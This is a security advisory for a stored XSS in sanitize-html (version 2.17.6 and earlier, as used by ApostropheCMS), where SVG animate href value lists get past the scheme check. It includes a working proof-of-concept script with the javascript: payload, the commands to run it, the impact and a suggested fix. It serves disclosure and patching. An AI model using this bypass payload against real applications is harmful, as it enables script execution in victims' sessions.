GHSA-g8qq-57p8-ggw5

Suggest an improvement
Source
https://github.com/advisories/GHSA-g8qq-57p8-ggw5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-g8qq-57p8-ggw5/GHSA-g8qq-57p8-ggw5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g8qq-57p8-ggw5
Aliases
Downstream
CGA (11)
MINI (5)
Published
2026-09-01T21:20:01Z
Modified
2026-09-10T03:50:54Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N CVSS Calculator
Summary
ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass
Details

Summary

When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.

Details

index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.

PoC

This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:

const sanitize = require('sanitize-html');

const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`;
const output = sanitize(input, {
  allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),
  allowedAttributes: {
    ...sanitize.defaults.allowedAttributes,
    animate: ['attributename', 'values', 'dur', 'fill'],
    text: ['y']
  },
  allowedSchemesAppliedToAttributes:
    sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
});
console.log(output);

Install and run it, then open poc.html and click Click me:

npm install sanitize-html@2.17.6
node poc.js > poc.html

The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.

Impact

In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.

Suggested fix

Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.

Database specific
{
    "cwe_ids":  [
        "CWE-79"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-01T21:20:01Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

npm / sanitize-html

Package

Name
sanitize-html
View open source insights on deps.dev
Purl
pkg:npm/sanitize-html

Affected ranges

Type
SEMVER
Events
Introduced
1.9.0
Fixed
2.17.7

Database specific

last_known_affected_version_range
"<= 2.17.6"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-g8qq-57p8-ggw5/GHSA-g8qq-57p8-ggw5.json"